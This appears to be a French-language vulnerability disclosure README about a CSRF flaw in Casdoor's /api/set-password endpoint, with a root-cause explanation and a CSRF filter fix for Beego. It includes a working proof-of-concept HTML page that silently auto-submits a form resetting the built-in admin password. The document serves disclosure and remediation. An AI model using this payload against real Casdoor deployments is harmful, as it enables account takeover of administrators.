
Résumé
/api/set-password permettant de changer le mot de passe sans consentement.Impact
built-in/admin), ce qui conduit à une prise de contrôle du compte.Conditions préalables à l'attaque
casdoor_session_id valide./api/set-password.Preuve de concept
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
Cause racine
/api/* acceptent les requêtes authentifiées par cookie sans appliquer de contrôles de même origine (Origin/Referer) ni de jetons CSRF.Aperçu du correctif
/api/*.Authorization, authentification Basic, identifiants client ou accessToken) ou les requêtes sans cookies de session navigateur (appels typiques de serveur à serveur).Implémentation
routers.CSRFFilter implémenté dans csrf_filter.go. Ce filtre :
Comment intégrer dans Casdoor
csrf_filter.go dans le package routers existant du projet Casdoor. Ne rien modifier ni supprimer dans ce fichier.main) :
// Beego v1 style
beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
Vérification
Unauthorized operation et le serveur doit journaliser CSRF check failed.Authorization ou des paramètres accessToken doivent continuer à fonctionner.Fichiers du dépôt
csrf_filter.go : filtre CSRF à copier dans le package routers de Casdoor.poc.html : page minimale reproduisant l'attaque CSRF.README.md : ce document décrivant la vulnérabilité et les étapes de correction.Références
Vidéo